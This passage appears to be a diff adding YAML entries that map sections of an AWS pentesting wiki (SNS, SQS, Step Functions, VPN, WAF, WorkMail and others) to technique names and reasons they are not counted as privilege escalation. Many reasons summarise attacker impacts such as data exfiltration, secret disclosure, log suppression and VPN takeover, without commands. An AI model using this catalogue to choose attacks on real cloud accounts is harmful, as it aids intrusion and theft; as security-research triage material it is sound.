+ technique: '`snowball:CancelJob` — cancel a newly created device workflow' + reason: 'Documented impact: Abort a planned physical data migration, export or edge-compute deployment before + preparation, forcing operators to recreate the job and potentially delaying a workflow that can take weeks to + provision. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snspublish + technique: '`sns:Publish`' + reason: 'Documented impact: Injection of attacker-controlled messages into downstream subscribers, potentially + triggering their fixed business actions, corrupting data, or consuming delivery/compute capacity. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssetsmsattributes--account-wide-sms-tampering + technique: '`sns:SetSMSAttributes` — account-wide SMS tampering' + reason: 'Documented impact: Account-wide degradation of default-class SMS delivery (including OTP/MFA flows that + do not set a per-message type) and convincing sender-name spoofing on supported routes. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssettopicattributes--alter-delivery-and-encryption-settings + technique: '`sns:SetTopicAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sns:SetTopicAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snstagresource--snsuntagresource + technique: '`sns:TagResource` , `sns:UntagResource`' + reason: 'Documented impact: Corrupts cost/ownership inventory and can satisfy or defeat tag-based authorization/automation + conditions when those controls are designed to trust mutable resource tags. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsunsubscribe--remove-a-subscriber + technique: '`sns:Unsubscribe` — remove a subscriber' + reason: The section documents the resource or service effect of `sns:Unsubscribe` — remove a subscriber, without + a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsremovepermission--revoke-a-topic-policy-grant + technique: '`sns:RemovePermission` — revoke a topic-policy grant' + reason: This heading concerns removal, disruption or access denial via `sns:RemovePermission` — revoke a topic-policy + grant; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsdeletetopic + technique: '`sns:DeleteTopic`' + reason: 'Documented impact: Loss of future publication/delivery through the topic and service disruption for publishers + and subscribers. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-subscriber-disclosure-post-exploitation/README.md#snslistsubscriptions-snslistsubscriptionsbytopic--read-subscriber-endpoints + technique: '`sns:ListSubscriptions`, `sns:ListSubscriptionsByTopic` — Read subscriber endpoints' + reason: 'Documented impact: Disclosure of subscriber PII, internal callback endpoints, application topology, and + downstream resource identifiers. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-api-sendmessage-sendmessagebatch + technique: '`sqs:SendMessage` (API: `SendMessage`, `SendMessageBatch`)' + reason: 'Documented impact: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--alter-delivery-and-encryption-settings + technique: '`sqs:SetQueueAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqstagqueue--sqsuntagqueue + technique: '`sqs:TagQueue` , `sqs:UntagQueue`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsreceivemessage-sqsdeletemessage-sqschangemessagevisibility + technique: '`sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`' + reason: 'Documented impact: Steal sensitive information, Message loss, data corruption, and service disruption + for applications relying on the affected messages. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsdeletequeue + technique: '`sqs:DeleteQueue`' + reason: 'Documented impact: Message loss and service disruption for applications using the deleted queue. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqspurgequeue + technique: '`sqs:PurgeQueue`' + reason: 'Documented impact: Message loss and service disruption for applications relying on the purged messages. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsremovepermission + technique: '`sqs:RemovePermission`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the queue due to unauthorized + removal of permissions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--shorten-message-retention + technique: '`sqs:SetQueueAttributes` — shorten message retention' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — shorten message retention, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-on-a-fifo-queue--deduplication-id-suppression + technique: '`sqs:SendMessage` on a FIFO queue — deduplication-ID suppression' + reason: 'Documented impact: Silent destruction of the producer''s messages and substitution of attacker-chosen + content, with only send access to the queue and no failure surfaced to the producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md#aws--sqs-dlq-redrive-exfiltration-via-startmessagemovetask + technique: AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + reason: 'Documented impact: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application + payloads) at a high rate using native SQS APIs; the service supports a custom movement rate of up to 500 messages + per second. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeletepermissionset + technique: '`sso:DeletePermissionSet`' + reason: 'Documented impact: Organization-wide denial of new AWS-account sessions through that permission set once + deletion succeeds: every user and group that depended on it loses that route to the affected accounts. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeleteaccountassignment + technique: '`sso:DeleteAccountAssignment`' + reason: 'Documented impact: Denial of future access through that exact assignment. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssoputpermissionsboundarytopermissionset--ssoprovisionpermissionset + technique: '`sso:PutPermissionsBoundaryToPermissionSet` + `sso:ProvisionPermissionSet`' + reason: 'Documented impact: Persistent reduction of the effective permissions of every role produced from the + permission set after successful reprovisioning. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesrevealsecrets + technique: '`states:RevealSecrets`' + reason: 'Documented impact: Disclosure of the EventBridge Connection secrets an HTTP Task attaches to its request + (headers, query string or body) — reusable credentials for the remote service. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdescribestatemachine--definition-secret-disclosure + technique: '`states:DescribeStateMachine` — definition-secret disclosure' + reason: This heading concerns reading or exporting data via `states:DescribeStateMachine` — definition-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#read-execution-data-with-describeexecution-and-getexecutionhistory + technique: Read execution data with `DescribeExecution` and `GetExecutionHistory` + reason: 'Documented impact: Disclosure of workflow input, output, per-state data, service parameters and errors + for a known execution — frequently the most sensitive data the account handles. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#claim-activity-work-with-statesgetactivitytask + technique: Claim activity work with `states:GetActivityTask` + reason: 'Documented impact: Reads queued workflow input and takes a live task token, denying the work item to + the legitimate worker; the token then enables the callback technique below. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatestatemachine-lambdaupdatefunctioncode + technique: '`states:UpdateStateMachine`, `lambda:UpdateFunctionCode`' + reason: The section documents the resource or service effect of `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesredriveexecution--replay-the-failed-path-under-stored-roles + technique: '`states:RedriveExecution` — Replay the failed path under stored roles' + reason: The section documents the resource or service effect of `states:RedriveExecution` — Replay the failed + path under stored roles, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statestagresource-statesuntagresource + technique: '`states:TagResource`, `states:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdeletestatemachine-statesdeletestatemachineversion-statesdeletestatemachinealias + technique: '`states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`' + reason: 'Documented impact: Disruption of critical workflows, data loss, and operational downtime. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatemaprun + technique: '`states:UpdateMapRun`' + reason: 'Documented impact: Performance degradation and disruption of critical workflows. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstopexecution + technique: '`states:StopExecution`' + reason: 'Documented impact: Disruption of ongoing workflows, operational downtime, and potential data corruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-chap-post-exploitation/README.md#storagegatewaydescribechapcredentials--recover-iscsi-mutual-chap-secrets + technique: '`storagegateway:DescribeChapCredentials` — recover iSCSI mutual-CHAP secrets' + reason: This heading concerns reading or exporting data via `storagegateway:DescribeChapCredentials` — recover + iSCSI mutual-CHAP secrets; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-post-exploitation/README.md#storagegatewaycreatenfsfileshare--createsmbfileshare--iampassrole--expose-an-s3-bucket-through-a-file-share-and-mount-it + technique: '`storagegateway:CreateNFSFileShare` / `CreateSMBFileShare` (+ `iam:PassRole`) — expose an S3 bucket + through a file share and mount it' + reason: 'Documented impact: Read/write access to the S3 data reachable by the passed role, exposed as a mountable + NFS/SMB share on a gateway the attacker controls — the object access is performed by the gateway using the passed + role, not by the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md#stsgetfederationtoken + technique: '**`sts:GetFederationToken`**' + reason: 'Documented impact: A separate, independently-usable credential set for the calling IAM user''s authority, + valid for up to 36 hours and unaffected by rotating or deleting the original access key. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-incident-manager-post-exploitation/README.md#anti-forensics-destroy-all-incident-manager-data-deletereplicationset + technique: 'Anti-forensics: destroy all Incident Manager data (`DeleteReplicationSet`)' + reason: 'Documented impact: Wholesale destruction of the account''s incident-response history and configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: 'LiveAnalytics: query a table with `timestream:Select`' + reason: 'Documented impact: Exfiltration of operational telemetry, customer or device identifiers, application + measurements and any secrets or tokens an application improperly stored as dimensions or measures. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: 'LiveAnalytics: export query results to S3 with `timestream:Unload`' + reason: 'Documented impact: Bulk export of a table or filtered sensitive subset into attacker-readable S3 objects, + including a manifest that identifies every result file. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-invisible-record-injection-upsert-and-version-pinning-with-timestreamwriterecords + technique: 'LiveAnalytics: invisible record injection, upsert and version pinning with `timestream:WriteRecords`' + reason: 'Documented impact: False telemetry, corrupted dashboards and alerts, malicious schema expansion, or an + effectively uncorrectable highest-version value for selected records. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: '`logs:FilterLogEvents` / `logs:GetLogEvents` — recover custom-IdP passwords from logs' + reason: 'Documented impact: steal reusable SFTP/FTP/FTPS passwords from misconfigured custom-IdP logs, enabling + Transfer-user impersonation and compromise of other systems where users reused the credential. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transfertestidentityprovider--query-a-custom-idp-with-a-chosen-password-and-source-ip + technique: '`transfer:TestIdentityProvider` — query a custom IdP with a chosen password and source IP' + reason: 'Documented impact: validate credentials or identity-provider rules and disclose a custom user''s effective + Transfer role, session policy, home mapping, public keys, and API Gateway IdP URL without server read permissions. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferupdateserver--disable-both-transfer-server-logging-paths + technique: '`transfer:UpdateServer` — disable both Transfer server logging paths' + reason: 'Documented impact: blind future Transfer Family server telemetry in CloudWatch before using an existing + foothold, reducing visibility into logins, sessions, and file operations across SFTP/FTPS/FTP/AS2. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-uxc-post-exploitation/README.md#uxcupdateaccountcustomizations--hide-services-and-regions-from-console-navigation + technique: '`uxc:UpdateAccountCustomizations` — hide services and Regions from console navigation' + reason: 'Documented impact: account-wide console navigation manipulation and operator confusion during manual + triage. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-lattice-svcsinvoke--access-an-iam-authenticated-private-service + technique: '`vpc-lattice-svcs:Invoke` — access an IAM-authenticated private service' + reason: 'Documented impact: Read or invoke private application endpoints allowed by the service''s auth policy, + with access bounded by that application''s own authorization and the caller''s network path. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateaccesslogsubscription--exfiltrate-service-network-request-metadata + technique: '`vpc-lattice:CreateAccessLogSubscription` — exfiltrate service-network request metadata' + reason: 'Documented impact: Continuous disclosure of request metadata for the selected service or service network + to the configured destination, subject to successful log delivery. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network' + reason: 'Documented impact: Lateral movement / reachability — expose every service in the service network to attacker-controlled + compute, the prerequisite the Invoke data-plane technique otherwise lacks. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys' + reason: 'Documented impact: Discloses both Site-to-Site VPN tunnel PSKs and detailed tunnel/network configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN + peer' + reason: 'Documented impact: Durable takeover of the customer side of an existing Site-to-Site VPN connection. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access' + reason: 'Documented impact: turn an existing limited VPN foothold into private-network access to the authorized + CIDR, enabling service discovery, lateral movement, direct attacks against private endpoints, or data access + as permitted by downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and + extend reachable networks' + reason: 'Documented impact: Converts a prepared but unattached Client VPN endpoint into a usable VPC entry point + and creates its full-VPC local route, or extends an already associated endpoint toward a peered VPC, on-premises + network, internet egress, or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group' + reason: 'Documented impact: Inherits the network trust already granted to the selected SG, potentially turning + an otherwise restricted authenticated Client VPN foothold into access to administrative ports, databases, internal + services, or egress paths... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs' + reason: 'Documented impact: Persistent control of DNS and client route policy for future/reconnected VPN sessions, + enabling DNS-based reconnaissance/redirection and—when the network path is prepared—forced full-tunnel egress + through attacker-observed or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createregexpatternset--wafv2updateregexpatternset-wafv2deleteregexpatternset + technique: '**`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**' + reason: 'Documented impact: Bypass security controls, allowing malicious content and potentially exposing sensitive + data or disrupting services and resources protected by AWS WAF. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: '**`wafv2:TagResource`, `wafv2:UntagResource`**' + reason: 'Documented impact: Resource tampering, information leakage, cost manipulation and operational disruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createrulegroup-wafv2updaterulegroup-wafv2deleterulegroup + technique: '**`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createwebacl-wafv2updatewebacl-wafv2deletewebacl + technique: '**`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2associatewebacl-wafv2disassociatewebacl + technique: '**`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**' + reason: 'Documented impact: Removes or replaces WAF filtering for the selected application resource. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createipset--wafv2updateipset-wafv2deleteipset + technique: '**`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**' + reason: 'Documented impact: Unauthorized access and block of legitimate traffic. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2deleteapikey + technique: '**`wafv2:DeleteAPIKey`**' + reason: 'Documented impact: Disable CAPTCHA protections or disrupt application functionality, leading to security + breaches and potential data theft. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2putloggingconfiguration--iamcreateservicelinkedrole-wafv2deleteloggingconfiguration + technique: '**(`wafv2:PutLoggingConfiguration` & `iam:CreateServiceLinkedRole`), `wafv2:DeleteLoggingConfiguration`**' + reason: 'Documented impact: Obscured visibility into security events can hinder incident response and facilitate + covert malicious activity within AWS WAF-protected environments. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: '`wickr:GetOidcInfo` — disclose the SSO client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOidcInfo` — disclose the SSO client secret; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: '`wickr:GetOpentdfConfig` — disclose the OpenTDF client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOpentdfConfig` — disclose the OpenTDF client + secret; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: '`wickr:ListUsers` — recover an invited user''s enrollment code' + reason: This heading concerns reading or exporting data via `wickr:ListUsers` — recover an invited user's enrollment + code; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit + email' + reason: 'Documented impact: Theft of email bodies, attachments, credentials, password-reset links and business + data while messages transit WorkMail; or silent integrity attacks such as changing payment instructions, links, + attachments, recipients''... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account' + reason: 'Documented impact: Cross-account exfiltration of a golden WorkSpace image and everything baked into it + (applications, secrets, domain-join credentials, internal data). This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication' + reason: 'Documented impact: Gain or broaden interactive access to users'' virtual desktops (and the internal network + they sit on) by weakening or repointing WorkSpaces authentication. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint' + reason: The section documents the resource or service effect of `thinclient:UpdateEnvironment` - Redirect devices + to another desktop provider or IdP endpoint, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md#iampassrole-cloudformationcreatestack-and-cloudformationdescribestacks + technique: iam:PassRole, cloudformation:CreateStack, and cloudformation:DescribeStacks + reason: The PassRole plus CreateStack route is modeled by aws-cloudformation-passrole-createstack; DescribeStacks + only reads stack outputs. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject, codestar:AssociateTeamMember + reason: AWS CodeStar was discontinued; this legacy CreateProject and AssociateTeamMember flow is no longer an + available privilege path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md#iampassrole-codestarcreateproject + technique: iam:PassRole, codestar:CreateProject + reason: AWS CodeStar was discontinued; this legacy PassRole and CreateProject flow is no longer an available privilege + path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#also-relevant-configputremediationconfigurations--iampassrole-classic-passrole + technique: 'Also relevant: `config:PutRemediationConfigurations` + `iam:PassRole` (classic PassRole)' + reason: The PutRemediationConfigurations plus PassRole variant is included in aws-config-passrole-automatic-remediation; + this subheading is a cross-reference, not a new target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstanceattribute + technique: '`ec2:ModifyInstanceAttribute`' + reason: 'Umbrella section: user-data replacement plus StopInstances and StartInstances is modeled by aws-ec2-modifyinstanceattribute-userdata; + replacing security groups is network exposure, not role impersonation.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + technique: '`iot:RegisterCertificateWithoutCA` → register an attacker-generated (BYO) certificate as a device + identity' + reason: This is the offline-certificate alternative in aws-iot-passrole-rolealias-certificate; registration alone + creates an IoT certificate but does not assume an IAM role without AttachPolicy, a role alias, and PassRole. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#aws---passrole-to-mlanalytics-data-access-roles + technique: AWS - PassRole to ML/Analytics Data-Access Roles + reason: Page introduction; the service-specific PassRole combinations are represented in mldataaccess.yaml. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets 